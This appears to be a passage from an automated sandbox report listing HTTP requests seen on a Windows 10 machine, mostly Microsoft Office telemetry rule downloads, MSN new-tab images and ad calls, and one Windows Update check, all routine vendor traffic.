Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732657979624&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0AACE1577F9E67D0137AF4147E876674&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1859809eed3b09256c5c70a1732657979; XID=1859809eed3b09256c5c70a1732657979
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0AACE1577F9E67D0137AF4147E876674&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=9d7d07b97cc14398be7bb346f3600e59 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0AACE1577F9E67D0137AF4147E876674; _EDGE_S=F=1&SID=3BEE389716BD61AD26292DD41771604E; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732657979623&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=77db7b96657a471197e809d0cad53a03&activityId=77db7b96657a471197e809d0cad53a03&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=EC024681FB45440883096ED51DE31D2A&MUID=0AACE1577F9E67D0137AF4147E876674 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=0AACE1577F9E67D0137AF4147E876674; _EDGE_S=F=1&SID=3BEE389716BD61AD26292DD41771604E; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=0AACE1577F9E67D0137AF4147E876674&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=8d04e552f4e6467687011089ba567aaf HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=0AACE1577F9E67D0137AF4147E876674; _EDGE_S=F=1&SID=3BEE389716BD61AD26292DD41771604E; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MZ4M.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=cSsvaOzKhELEzfH&MD=ydFHuBDP HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
